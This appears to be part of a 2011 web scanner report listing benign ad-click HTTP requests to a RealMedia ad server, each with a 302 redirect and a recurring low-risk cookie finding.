GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1074790821/x04/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/107755770/x03/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:56:55 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1078006695/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:07:55 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1099776824/x02/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1108735125/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:54 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/111286636/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:13 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1126236382/x02/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:44:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/112793374/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1159061525/x04/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279?x HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:18:01 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1174768862/x02/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:52 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1187342870/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:09:19 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1203869454/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:17 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1212301165/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:11 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1263431205/x04/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:22 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1287458599/x04/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1304908327/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:01 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1324381451/x04/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:06:49 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1398468739/Right1/Dom_Ent/House-Sound-Btn/snd_cc_300x100120109.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:50:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.marinalife.com/soundings Content-Length: 312 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.marinalife.com/soundings">here</a>.< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1399245462/x01/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:11:28 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1415426878/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:29 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1431245089/x03/Dom_Ent/Keenan-Sound-TileAd/125x125_keenan_0111_new.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:23:57 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.keenanauction.com/auction.cgi?&i=2039 Content-Length: 329 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.keenanauction.com/auction.cgi?&i ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1436265523/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:48:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1446678663/x02/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
